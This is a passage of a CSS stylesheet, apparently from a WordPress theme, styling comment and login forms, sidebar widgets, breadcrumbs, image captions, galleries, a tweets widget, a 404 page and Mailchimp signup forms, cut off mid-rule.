#respond .comment-form label {
	font-family: inherit;
	font-weight: inherit;
	font-size: inherit;
	color: inherit;
	letter-spacing: 0
}
#respond .comment-form #add_comment_rating_wrap label {
	font-family: var(--pcbody-font);
	font-weight: inherit;
	font-size: inherit;
	color: var(--pctext-cl);
	letter-spacing: 0;
	font-size: 14px
}
#respond .comment-form-cookies-consent label {
	display: inline
}
#respond p.form-submit,
.wpcf7 p.submit {
	margin: 0 14px;
	text-align: center;
	clear: both
}
#respond p.form-submit {
	margin: 0
}
.pclg-2col:after,
.pclg-2col:before,
.penci-login-register:after,
.penci-login-register:before {
	content: "";
	display: table;
	width: 100%
}
#respond input,
.penci-login-register input[type=email],
.penci-login-register input[type=number],
.penci-login-register input[type=password],
.penci-login-register input[type=text],
.widget_wysija input,
.wpcf7 input {
	padding: 12px 20px;
	max-width: 100%;
	border: 1px solid #dedede;
	margin-bottom: 28px;
	font-size: 14px;
	width: 100%;
	font-weight: 400;
	font-family: var(--pcbody-font);
	max-height: 50px;
	background: 0 0
}
#respond input:focus,
.penci-login-register input:focus,
.wpcf7 input:focus {
	outline: 0
}
.jetpack_subscription_widget #subscribe-email input {
	width: 100% !important;
	padding: 12px 20px !important;
	margin-top: 10px
}
#respond textarea,
.penci-login-register textarea,
.wpcf7 textarea {
	padding: 15px 20px;
	border: 1px solid #dedede;
	width: 100%;
	height: 120px;
	font-size: 14px;
	color: #313131;
	margin-bottom: 28px;
	line-height: 20px;
	font-weight: 400;
	outline: 0;
	vertical-align: top;
	font-family: var(--pcbody-font)
}
#respond textarea:focus,
.penci-login-register textarea:focus,
.wpcf7 textarea:focus {
	outline: 0
}
#respond #submit,
.penci-login-register input[type=submit],
.widget_wysija input[type=submit],
.wpcf7 input[type=submit] {
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	background: #f5f5f5;
	border-radius: 0;
	font-size: 14px;
	color: #313131;
	padding: 12px 20px;
	display: inline-block;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	cursor: pointer;
	width: auto;
	min-width: 120px;
	text-align: center;
	margin: 0;
	border: none
}
#respond #submit:hover,
.penci-login-register input[type=submit]:hover,
.widget_wysija input[type=submit]:hover,
.wpcf7 input[type=submit]:hover {
	color: #fff;
	background: var(--pcaccent-cl)
}
.contact-form input[type=email],
.contact-form input[type=text] {
	max-width: 300px;
	width: 100%;
	padding: 10px 15px
}
.contact-form input[type=submit] {
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	background: #f5f5f5;
	border-radius: 0;
	font-size: 14px;
	color: #313131;
	padding: 16px 20px;
	display: inline-block;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	cursor: pointer;
	width: auto;
	min-width: 120px;
	text-align: center;
	margin: 0;
	border: none
}
.widget input[type=date],
.widget input[type=email],
.widget input[type=number],
.widget input[type=password],
.widget input[type=search],
.widget input[type=text] {
	border: 1px solid #dedede;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	outline: 0;
	background: 0 0;
	display: block;
	font-size: 13px;
	padding: 11px 20px;
	margin-bottom: 20px;
	letter-spacing: 0;
	font-family: var(--pcbody-font);
	width: 100%;
	max-width: 100%;
	display: block;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	cursor: auto;
	height: auto;
	vertical-align: baseline;
	line-height: normal
}
.penci-button,
.widget button[type=submit],
.widget input[type=submit] {
	display: block;
	width: 100%;
	font-size: 14px;
	padding: 12px 20px;
	text-transform: uppercase;
	color: #313131;
	margin: 0;
	cursor: pointer;
	border: none;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	background: #f5f5f5;
	max-width: 100%;
	outline: 0
}
.penci-button,
.widget button[type=submit]:hover,
.widget input[type=submit]:hover {
	background: var(--pcaccent-cl);
	color: #fff
}
#respond input[type=checkbox],
#respond input[type=radio],
.widget input[type=checkbox],
.widget input[type=radio],
.widget_wysija input[type=checkbox],
.widget_wysija input[type=radio],
.wpcf7 input[type=checkbox],
.wpcf7 input[type=radio] {
	width: auto;
	margin: 0;
	padding: 0
}
form#commentform>.comment-form-cookies-consent {
	margin: 0 0 15px 0;
	clear: both;
	line-height: 1.4;
	color: #777
}
#respond .comment-form-cookies-consent input[type=checkbox] {
	margin-right: 5px;
	transform: translateY(2px);
	-webkit-transform: translateY(2px)
}
@media only screen and (min-width:768px) {
	.post-comments.penci-comments-hide-1 #respond input,
	.post-comments.penci-comments-hide-2 #respond input {
		max-width: 100%
	}
	.post-comments.penci-comments-hide-1 #respond p.comment-form-author,
	.post-comments.penci-comments-hide-1 #respond p.comment-form-email,
	.post-comments.penci-comments-hide-1 #respond p.comment-form-url {
		width: 49%
	}
	.post-comments.penci-comments-hide-1 #respond .comment-form>p:nth-child(2) {
		margin-left: 0
	}
	.post-comments.penci-comments-hide-2 #respond p.comment-form-author,
	.post-comments.penci-comments-hide-2 #respond p.comment-form-email,
	.post-comments.penci-comments-hide-2 #respond p.comment-form-url {
		width: 100%;
		margin-left: 0;
		margin-right: 0
	}
}
.penci-sidebar-content .wp-block-search {
	margin-bottom: 0
}
.wp-block-search .wp-block-search__label {
	display: block
}
.widget_block.widget_search input[type=search] {
	margin: 0
}
.widget_block.widget_search button[type=submit] {
	margin-left: .625em;
	width: auto;
	white-space: nowrap
}
.widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper {
	position: relative
}
.widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper:before {
	content: "\f108";
	font-family: penciicon;
	font-style: normal;
	font-weight: 400;
	display: inline-block;
	position: absolute;
	color: var(--pctext-cl);
	top: 50%;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	right: 20px;
	z-index: 1;
	font-size: 15px;
	opacity: .9
}
.widget_block.widget_search .wp-block-search__no-button input[type=search] {
	padding-right: 40px
}
.widget_block.widget_search .wp-block-search__no-button input[type=search]::-webkit-search-cancel-button {
	display: none
}
.widget.widget_block .wp-block-latest-posts {
	padding: 0 !important;
	border: none
}
.widget .wp-block-group>div>h1 {
	margin-bottom: 20px;
	font-size: 24px
}
.widget .wp-block-group>div>h2 {
	margin-bottom: 20px;
	font-size: 20px
}
.widget .wp-block-group>div>h3:not(.penci-border-arrow) {
	margin-bottom: 20px;
	font-size: 18px
}
.widget .wp-block-group>div>h4 {
	margin-bottom: 20px;
	font-size: 17px
}
.widget .wp-block-group>div>h5 {
	margin-bottom: 20px;
	font-size: 16px
}
.widget .wp-block-group>div>h6 {
	margin-bottom: 20px;
	font-size: 14px
}
.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button,
.wp-block-search.wp-block-search__button-outside .wp-block-search__inside-wrapper .wp-block-search__button {
	padding: 8px 15px
}
.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper {
	border-color: var(--pcborder-cl)
}
.penci-sidebar-content .widget.penci_block_heading_widget {
	margin-bottom: 0
}
.archive-box {
	background: 0 0;
	margin: 0 0 30px 0;
	position: relative;
	text-align: center
}
.archive-box.container {
	margin-left: auto;
	margin-right: auto;
}
.archive-box:after,
.archive-box:before {
	content: none
}
.archive-box:before {
	width: 60px;
	bottom: -5px;
	margin-left: -30px
}
.archive-box .title-bar {
	position: relative;
	display: block
}
.archive-box .title-bar.pcatitle-right {
	text-align: right;
}
.archive-box .title-bar.pcatitle-left {
	text-align: left;
}
.archive-box .title-bar.pcatitle-center {
	text-align: center;
}
.archive-box h1,
.archive-box span {
	color: #313131;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-transform: uppercase;
	font-size: 24px;
	line-height: 1.2em;
	position: relative;
	z-index: 10
}
.archive-box h1 {
	display: inline-block;
	color: var(--pcaccent-cl)
}
.archive-box .pccat-count {
	--size: 35px;
	min-width: var(--size);
	height: var(--size);
	display: inline-flex;
	background: var(--pcheading-cl);
	line-height: var(--size);
	margin-left: 10px;
	color: var(--pcbg-cl);
	padding-left: 5px;
	padding-right: 5px;
	justify-content: center;
	align-content: center;
}
.pc-title-bar-sorter form {
	display: flex;
	column-gap: 10px;
	flex-wrap: wrap;
	flex-direction: row;
}
.pc-title-bar-sorter form select {
	flex: 1 calc(50% - 10px);
}
.nothing {
	margin-bottom: 60px;
	text-align: center
}
.nothing span {
	position: relative;
	z-index: 10;
	color: inherit;
	font-size: 14px
}
.penci-category-description {
	margin-bottom: 35px;
	line-height: 1.8
}
.penci-category-description.pcdesc-left {
	text-align: left
}
.penci-category-description.pcdesc-center {
	text-align: center
}
.penci-category-description.pcdesc-right {
	text-align: right
}
.container.penci-breadcrumb,
.penci-container-inside.penci-breadcrumb {
	line-height: 1.4;
	margin-bottom: 20px
}
.container.penci-breadcrumb {
	margin-top: calc(25px - var(--pchd-mg));
	clear: both
}
.container.penci-breadcrumb.penci-crumb-inside {
	width: 100%;
	margin-top: 0
}
.post-image .container.penci-breadcrumb {
	width: 100%;
	margin-bottom: 20px
}
.single.penci-body-single-style-5 .container.penci-breadcrumb,
.single.penci-body-single-style-6 .container.penci-breadcrumb {
	margin-bottom: 20px
}
.penci-header-text-white .container.penci-breadcrumb {
	margin-top: 0
}
.wrapper-boxed.penci-page-hide-header .container.penci-breadcrumb {
	margin-top: 10px
}
.penci-container-inside.penci-breadcrumb {
	margin-top: -5px
}
.wrapper-boxed.penci-page-hide-header .featured-area+.container.penci-breadcrumb {
	margin-top: calc(25px - var(--pchd-mg))
}
.page #sidebar-nav+.container.penci-breadcrumb {
	margin-top: 0
}
.container.penci-breadcrumb a,
.container.penci-breadcrumb span,
.container.penci-breadcrumb span a,
.penci-container-inside.penci-breadcrumb a,
.penci-container-inside.penci-breadcrumb span,
.penci-container-inside.penci-breadcrumb span a {
	font-size: 13px;
	color: #888
}
.container.penci-breadcrumb a:hover,
.container.penci-breadcrumb span a:hover,
.penci-container-inside.penci-breadcrumb a:hover,
.penci-container-inside.penci-breadcrumb span a:hover {
	color: var(--pcaccent-cl)
}
.container.penci-breadcrumb i,
.container.penci-breadcrumb span.separator,
.penci-container-inside.penci-breadcrumb i,
.penci-container-inside.penci-breadcrumb span.separator {
	color: #888;
	font-size: 13px;
	margin: 0 15px 0 19px
}
.container.penci-breadcrumb span.separator,
.penci-container-inside.penci-breadcrumb span.separator {
	margin: 0 15px 0 15px
}
.container.penci-woo-breadcrumb,
.penci-container-inside.penci-woo-breadcrumb {
	width: 100% !important;
	margin-top: 0
}
.penci-page-header {
	margin: 0 0 30px 0;
	text-align: center;
	position: relative
}
.penci-page-header:after,
.penci-page-header:before {
	content: none
}
.penci-page-header h1 {
	font-size: 24px;
	color: #313131;
	text-transform: uppercase
}
.alignnone {
	margin: 5px 0 20px 0
}
.post-entry p>.alignnone {
	margin: 5px 0 0 0
}
.aligncenter,
.video-align-center,
div.aligncenter {
	display: block;
	margin: 5px auto 20px auto
}
.alignright,
.video-align-right {
	float: right;
	margin: 5px 0 20px 20px
}
.alignleft,
.video-align-left {
	float: left;
	margin: 5px 20px 20px 0
}
.video-align-left,
.video-align-right {
	display: block;
	width: 100%
}
.aligncenter {
	display: block;
	margin: 5px auto 20px auto
}
a img.alignright {
	float: right;
	margin: 5px 0 17px 30px
}
a img.alignnone {
	margin: 5px 20px 20px 0
}
a img.alignleft {
	float: left;
	margin: 5px 30px 17px 0
}
a img.aligncenter {
	display: block;
	margin-left: auto;
	margin-right: auto
}
.wp-caption {
	background: 0 0;
	border: none;
	padding: 0;
	max-width: 100%;
	text-align: center;
	position: relative;
	overflow: hidden
}
.wp-caption.alignnone {
	margin: 5px 0 17px 0
}
.wp-caption.alignleft {
	margin: 5px 30px 17px 0
}
.wp-caption.alignright {
	margin: 5px 0 17px 30px
}
.wp-caption img {
	border: 0 none;
	height: auto;
	margin: 0;
	max-width: 100%;
	padding: 0;
	width: 100%
}
.penci-featured-caption,
.wp-caption p.wp-caption-text {
	font-size: 14px;
	line-height: 1.4;
	margin: 0;
	padding: 11px 10px;
	color: #fff;
	font-style: italic;
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	background: rgba(0, 0, 0, .5);
	transition: all .4s;
	-webkit-transition: all .4s;
	-moz-transition: all .4s
}
.wp-caption p.wp-caption-text {
	text-align: center
}
.post-image:hover .penci-featured-caption,
.wp-caption:hover p.wp-caption-text {
	transform: translateY(100%);
	-webkit-transform: translateY(100%);
	opacity: .7
}
.penci-single-style-3 .penci-featured-caption,
.penci-single-style-3 .post-image .penci-owl-carousel figure p,
.penci-single-style-16 .penci-featured-caption,
.penci-single-style-16 .post-image .penci-owl-carousel figure p,
.penci-single-style-7 .penci-featured-caption,
.penci-single-style-7 .post-image .penci-owl-carousel figure p {
	bottom: 40px;
	text-align: left;
	display: inline-block;
	width: auto;
	transform: none !important;
	opacity: 1 !important;
	padding: 10px 20px;
	left: 0;
	right: auto
}
.penci-single-style-7 .penci-featured-caption,
.penci-single-style-7 .post-image .penci-owl-carousel figure p,
.penci-single-style-16 .penci-featured-caption,
.penci-single-style-16 .post-image .penci-owl-carousel figure p {
	width: 100%;
	text-align: center
}
.penci-featured-caption.penci-fixed-caption {
	transform: none !important;
	opacity: 1 !important;
	z-index: 3;
}
.penci-single-style-14 .penci-featured-caption.penci-fixed-caption {
	bottom: 55px;
	margin-left: 40px;
}
.penci-single-style-16 .penci-featured-caption.penci-fixed-caption,
.penci-single-style-22 .penci-featured-caption.penci-fixed-caption {
	bottom: auto;
	top: 0;
}
.penci-featured-caption.penci-fixed-caption.penci-caption-relative {
	position: static;
	background: 0 0;
	padding: 0;
	display: block;
	margin-top: 10px
}
.penci-featured-caption.penci-fixed-caption.penci-caption-relative:before {
	content: none;
	display: none
}
.penci-featured-caption.penci-fixed-caption.penci-caption-relative a {
	color: inherit
}
@media only screen and (min-width: 961px) {
	.penci-single-style-13.penci-two-sidebar .penci-single-s13-content,
	.penci-two-sidebar .penci-single-style-16 {
		--pcctain: var(--pcctain2);
	}
}
@media only screen and (max-width:960px) {
	.penci-single-style-3 .penci-featured-caption,
	.penci-single-style-3 .post-image .penci-owl-carousel figure p,
	.penci-single-style-16 .penci-featured-caption,
	.penci-single-style-16 .post-image .penci-owl-carousel figure p,
	.penci-single-style-7 .penci-featured-caption,
	.penci-single-style-7 .post-image .penci-owl-carousel figure p {
		bottom: 0;
		width: 100%;
		text-align: center
	}
	.penci-single-style-14 .penci-featured-caption.penci-fixed-caption {
		bottom: 0;
  		margin-left: 0;
	}
}
.penci-body-single-style-12.penci-body-title-bellow .penci-single-style-12 {
	margin-bottom: 0;
}
.penci-single-style-12 .post-image {
	overflow: visible;
}
@media only screen and (min-width: 768px){
	.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar,
	.penci-single-style-12 .post-image .standard-post-special_wrapper {
		padding: 40px 40px 0;
		background: var(--pcbg-cl);
		bottom: -95px;
		width: calc(var(--pcctain) - 8%);
	}
	.penci-single-style-12 {
		margin-bottom: 105px;
	}
}
@media only screen and (min-width: 1401px){
	.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar {
		max-width: calc(var(--pcctain2) - 8%);
	}
}
@media only screen and (min-width: 961px) and (max-width: 1400px) {
	.penci-single-style-12 .post-image .standard-post-special_wrapper.two-sidebar {
		max-width: 92%;
	}
}
.penci-single-style-12 .container.penci-breadcrumb {
	margin-top: 0;
}
.post-entry pre {
	display: block;
	font-size: 14px;
	word-break: break-all;
	word-wrap: break-word;
	white-space: pre-wrap;
	background-color: #f4f4f4;
	border: 1px solid rgba(0, 0, 0, .1);
	margin: 0 0 20px;
	line-height: 1.4;
	padding: 15px;
	letter-spacing: 0;
	color: inherit
}
.post-entry code {
	padding: 2px;
	border-radius: 2px;
	color: #23282d;
	background: #f4f4f4;
	font-family: Menlo, Consolas, monaco, monospace;
	font-size: inherit;
	border: none
}
.penci-single-block {
	display: block;
	clear: both
}
.penci-ldsingle {
	display: block;
	clear: both;
	text-align: center;
	width: 100%;
	margin: 30px 0
}
.penci-ldspinner {
	display: inline-block;
	vertical-align: top
}
.penci-ldspinner>div {
	width: 18px;
	height: 18px;
	margin: 0 5px;
	background-color: var(--pcaccent-cl);
	border-radius: 100%;
	display: inline-block;
	-webkit-animation: sk-bouncedelay 1.2s infinite ease-in-out both;
	animation: sk-bouncedelay 1.2s infinite ease-in-out both
}
.penci-ldspinner .bounce1 {
	-webkit-animation-delay: -.32s;
	animation-delay: -.32s
}
.penci-ldspinner .bounce2 {
	-webkit-animation-delay: -.16s;
	animation-delay: -.16s
}
@-webkit-keyframes sk-bouncedelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1)
	}
}
@keyframes sk-bouncedelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1);
		transform: scale(1)
	}
}
.penci-single-infiads {
	margin: 10px 0 40px;
	clear: both;
	display: block;
	overflow: hidden;
	width: 100%;
	text-align: center
}
.penci-single-infiscroll .penci-single-block:not(:first-child) .container.penci-breadcrumb {
	margin-top: 0
}
.widget .zframe-flickr-wrap-ltr,
.widget ul.instagram-pics {
	list-style: none;
	margin: 0;
	padding: 0;
	overflow: hidden;
	margin-left: -3px;
	margin-right: -3px
}
.widget .zframe-flickr-wrap-ltr .flickr_badge_image,
.widget ul.instagram-pics li {
	display: block;
	float: left;
	width: 33.33%;
	padding: 3px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	margin: 0 !important;
	border: none !important
}
.widget .zframe-flickr-wrap-ltr .flickr_badge_image img {
	margin: 0;
	width: 100%;
	float: none;
	height: auto
}
.instag ul.thumbnails>li,
.jr-insta-thumb ul>li {
	width: 32% !important
}
.instag ul li,
.jr-insta-thumb ul li {
	margin: 0;
	padding-bottom: 0;
	border-bottom: none
}
.pllexislider ul li {
	margin: 0;
	padding-bottom: 0;
	border-bottom: none
}
.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-caption,
.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-time,
.pllexislider-normal ul li .jr-insta-datacontainer .jr-insta-username {
	line-height: 1.5
}
.gallery .gallery-caption {
	font-size: 13px;
	color: #939393;
	font-family: var(--pchead-font);
	font-style: italic
}
.gallery .gallery-icon img {
	border-radius: 2px;
	border: 1px solid #eee !important;
	padding: 7px
}
.gallery .gallery-icon img:hover {
	border: 1px solid #ccc !important
}
.penci-post-gallery-container {
	margin-bottom: 20px
}
.penci-post-gallery-container a {
	opacity: 0
}
.penci-post-gallery-container.single-slider a,
.penci-post-gallery-container.thumbnail-slider a {
	opacity: 1
}
.penci-post-gallery-container.single-slider figure,
.penci-post-gallery-container.thumbnail-slider figure,
.post-image .penci-owl-carousel figure {
	position: relative
}
.penci-post-gallery-container.single-slider figure p,
.penci-post-gallery-container.thumbnail-slider figure p,
.post-image .penci-owl-carousel figure p {
	margin: 0;
	position: absolute;
	bottom: 0;
	right: 0;
	display: inline-block;
	vertical-align: top;
	background: rgba(0, 0, 0, .6);
	color: #fff;
	padding: 7px 15px;
	font-style: italic;
	font-size: 13px;
	line-height: 1.4;
	z-index: 2
}
.penci-post-gallery-container.thumbnail-slider figure p {
	right: 15px;
	max-width: calc(100% - 30px);
	text-align: right
}
.justified-gallery>a>.caption,
.justified-gallery>div>.caption {
	font-family: inherit;
	font-weight: inherit;
	padding: 9px 15px;
	line-height: 1.5;
	background: rgba(0, 0, 0, .6);
	opacity: 1
}
.penci-post-gallery-container.masonry .item-gallery-masonry {
	width: 33.33333%;
	float: left;
	margin-bottom: 6px;
	padding: 0 3px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	display: inline-block;
	position: relative
}
.penci-post-gallery-container.masonry.column-2 .item-gallery-masonry {
	width: 50%
}
.penci-post-gallery-container.masonry.column-4 .item-gallery-masonry {
	width: 25%
}
.penci-post-gallery-container.masonry .item-gallery-masonry a {
	position: relative;
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s;
	-webkit-animation-delay: .1s;
	-moz-animation-delay: .1s;
	-o-animation-delay: .1s;
	animation-delay: .1s;
	display: inline-block;
	width: 100%
}
.penci-post-gallery-container.masonry .item-gallery-masonry a.animated {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp;
	opacity: 1
}
.masonry.column-2 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(2n+2) a,
.masonry.column-3 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(3n+2) a,
.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+2) a {
	-webkit-animation-delay: .3s;
	-moz-animation-delay: .3s;
	-o-animation-delay: .3s;
	animation-delay: .3s
}
.masonry.column-3 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(3n+3) a,
.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+3) a {
	-webkit-animation-delay: .6s;
	-moz-animation-delay: .6s;
	-o-animation-delay: .6s;
	animation-delay: .6s
}
.masonry.column-4 .inner-gallery-masonry-container .item-gallery-masonry:nth-child(4n+4) a {
	-webkit-animation-delay: .9s;
	-moz-animation-delay: .9s;
	-o-animation-delay: .9s;
	animation-delay: .9s
}
.penci-post-gallery-container.masonry {
	margin-left: -3px;
	margin-right: -3px
}
.penci-post-gallery-container.masonry img {
	width: 100%
}
.penci-post-gallery-container.masonry .inner-gallery-masonry-container {
	display: inline-block;
	width: 100%;
	vertical-align: top
}
.inner-item-masonry-gallery {
	position: relative
}
.penci-post-gallery-container.masonry .item-gallery-masonry .caption {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	margin: 0;
	color: #fff;
	font-size: 13px;
	font-family: inherit;
	font-weight: inherit;
	padding: 9px 15px;
	line-height: 1.5;
	background: rgba(0, 0, 0, .6);
	opacity: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	z-index: 2
}
.penci-post-gallery-container.masonry .item-gallery-masonry:hover .caption {
	opacity: 1
}
.penci-tweets-widget-content ul li {
	margin: 0 !important;
	padding: 0 !important;
	border: none !important
}
.penci-slider.penci-tweets-slider ul.slides li:after,
.penci-slider.penci-tweets-slider ul.slides li:before {
	content: none !important;
	display: none !important
}
.penci-tweets-widget-content .icon-tweets {
	display: block;
	text-align: center;
	margin-bottom: 12px;
	font-size: 32px;
	color: var(--pcaccent-cl);
	margin-top: -10px
}
.penci-tweets-widget-content .tweet-text {
	color: #313131;
	margin-bottom: 10px;
	text-align: center
}
.penci-tweets-widget-content .tweet-intents {
	text-align: center;
	overflow: hidden;
	line-height: 1
}
.penci-tweets-widget-content .tweet-intents a {
	color: var(--pcaccent-cl);
	font-size: 13px;
	font-style: italic
}
.penci-tweets-widget-content .tweet-intents span:after {
	content: "/";
	margin: 0 5px;
	font-size: 11px;
	color: var(--pcaccent-cl);
	font-family: var(--pcbody-font)
}
.penci-tweets-widget-content .tweet-intents span:last-child:after {
	content: none;
	display: none
}
.penci-tweets-widget-content .tweet-intents-inner {
	display: inline-block;
	vertical-align: top;
	position: relative
}
.penci-tweets-widget-content .tweet-intents-inner:after,
.penci-tweets-widget-content .tweet-intents-inner:before {
	content: "";
	position: absolute;
	top: 50%;
	width: 250px;
	height: 1px;
	background: var(--pcaccent-cl);
	right: 100%;
	margin-right: 15px;
	opacity: .5
}
.penci-tweets-widget-content .tweet-intents-inner:after {
	right: auto;
	left: 100%;
	margin-right: 0;
	margin-left: 15px
}
.penci-tweets-widget-content .tweet-date {
	line-height: 1.8;
	white-space: nowrap;
	text-align: center;
	margin-bottom: 9px;
	opacity: .7;
	font-size: 14px
}
.penci-owl-carousel.penci-tweets-slider .penci-owl-dots {
	position: static;
	margin-top: 23px !important
}
.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot {
	margin: 0 4px
}
.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span {
	width: 10px;
	height: 10px;
	box-shadow: none;
	-webkit-box-shadow: none;
	border: 1px solid #d4d4d4
}
.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,
.penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span {
	border-color: var(--pcaccent-cl);
	background: var(--pcaccent-cl)
}
.penci-tweets-widget-content.pc_alignleft .icon-tweets,
.penci-tweets-widget-content.pc_alignleft .penci-owl-carousel-slider .penci-owl-dots,
.penci-tweets-widget-content.pc_alignleft .tweet-date,
.penci-tweets-widget-content.pc_alignleft .tweet-intents,
.penci-tweets-widget-content.pc_alignleft .tweet-text {
	text-align: left
}
.penci-tweets-widget-content.pc_alignright .icon-tweets,
.penci-tweets-widget-content.pc_alignright .penci-owl-carousel-slider .penci-owl-dots,
.penci-tweets-widget-content.pc_alignright .tweet-date,
.penci-tweets-widget-content.pc_alignright .tweet-intents,
.penci-tweets-widget-content.pc_alignright .tweet-text {
	text-align: right
}
div.wpcf7 {
	overflow: hidden;
	margin-top: 40px
}
span.wpcf7-not-valid-tip {
	margin-top: -15px;
	margin-bottom: 15px
}
div.wpcf7-response-output {
	margin: 20px 14px 1em;
	padding: .6em 1em;
	margin-top: 20px !important
}
.error-404 {
	text-align: center;
	margin: 150px 0 112px
}
.error-image {
	position: relative;
	padding-bottom: 41px;
	margin-bottom: 30px
}
.error-image img {
	display: block;
	margin-left: auto;
	margin-right: auto
}
.error-image:after {
	content: "";
	position: absolute;
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	bottom: 0;
	left: 50%;
	margin-left: -30px
}
.error-404 .sub-heading-text-404 {
	font-size: 16px;
	font-weight: 400;
	margin: 0;
	color: #313131;
	text-align: center
}
.error-404 form.pc-searchform {
	margin: 31px 0 0;
	padding: 0 10px
}
.error-404 form.pc-searchform .pc-searchform-inner {
	width: 100%;
	max-width: 350px;
	margin: 0 auto;
	position: relative
}
.error-404 .go-back-home {
	margin-top: 50px;
	text-align: center
}
.error-404 .go-back-home a {
	font-size: 12px;
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-decoration: none;
	line-height: 1.5;
	position: relative;
	display: inline-block;
	padding-bottom: 1px
}
.error-404 .go-back-home a:after {
	position: absolute;
	width: 100%;
	height: 1px;
	bottom: 0;
	left: 0;
	background: var(--pcaccent-cl);
	content: ""
}
.penci-mailchimp-block {
	--pcmc-height: 40px;
	--pcmc-bdw: 1px
}
.penci-mailchimp-block input[type=date],
.penci-mailchimp-block input[type=email],
.penci-mailchimp-block input[type=number],
.penci-mailchimp-block input[type=search],
.penci-mailchimp-block input[type=text] {
	border-width: var(--pcmc-bdw)
}
.penci-header-signup-form {
	display: block;
	padding: 20px 0;
	background: var(--pcaccent-cl);
	margin: -50px 0 60px;
	clear: both
}
.penci-header-signup-form.penci-header-signup-form-below {
	padding-left: 20px;
	padding-right: 20px;
	margin-left: auto;
	margin-right: auto
}
.elementor-template-full-width .wrapper-boxed>.penci-header-signup-form {
	display: none
}
.penci-header-signup-form .mc4wp-form {
	margin: 0;
	width: 100%;
	max-width: 100%;
	color: #fff
}
.penci-header-signup-form .mc4wp-form>form {
	display: table;
	width: 100%
}
.penci-header-signup-form h4.header-signup-form {
	text-align: center;
	margin-bottom: 18px;
	font-size: 24px;
	color: #fff;
	text-transform: uppercase
}
.penci-header-signup-form .mc4wp-form-fields {
	display: table;
	width: 100%
}
.penci-header-signup-form .mc4wp-form-fields>p,
.penci-header-signup-form form>p {
	display: table-cell;
	text-align: left;
	color: #fff;
	padding-right: 20px;
	line-height: 1.5;
	vertical-align: middle
}
.penci-header-signup-form .mc4wp-form-fields>p:last-of-type,
.penci-header-signup-form form>p:last-of-type {
	padding-right: 0
}
.penci-header-signup-form .mc4wp-form-fields>p:first-of-type,
.penci-header-signup-form form>p:first-of-type {
	max-width: 500px
}
.penci-header-signup-form .mc4wp-form input[type=email],
.penci-header-signup-form .mc4wp-form input[type=text] {
	margin: 0;
	margin-right: 20px;
	border-color: #fff;
	color: #fff
}
.penci-header-signup-form .mc4wp-form input[type=email]::-webkit-input-placeholder,
.penci-header-signup-form .mc4wp-form input[type=text]::-webkit-input-placeholder {
	color: #fff
}
.penci-header-signup-form .mc4wp-form input[type=email]:-moz-placeholder,
.penci-header-signup-form .mc4wp-form input[type=text]:-moz-placeholder {
	color: #fff;
	opacity: 1
}
.penci-header-signup-form .mc4wp-form input[type=email]::-moz-placeholder,
.penci-header-signup-form .mc4wp-form input[type=text]::-moz-placeholder {
	color: #fff;
	opacity: 1
}
.penci-header-signup-form .mc4wp-form input[type=email]:-ms-input-placeholder,
.penci-header-signup-form .mc4wp-form input[type=text]:-ms-input-placeholder {
	color: #fff
}
.penci-header-signup-form .widget input[type=submit] {
	color: #313131;
	background: #fff
}
.penci-header-signup-form .mc4wp-alert,
.penci-header-signup-form .mc4wp-error {
	margin-top: 15px
}
.penci-mailchimp-s3 {
	--pcmc-height: 48px
}
.penci-mailchimp-block .mc4wp-form-fields .memail input,
.penci-mailchimp-block .mc4wp-form-fields .mname input {
	padding: 0 20px;
	line-height: calc(var(--pcmc-height) - 2 * var(--pcmc-bdw))
}
.penci-mailchimp-block .mc4wp-form-fields .msubmit input {
	padding: 0 20px;
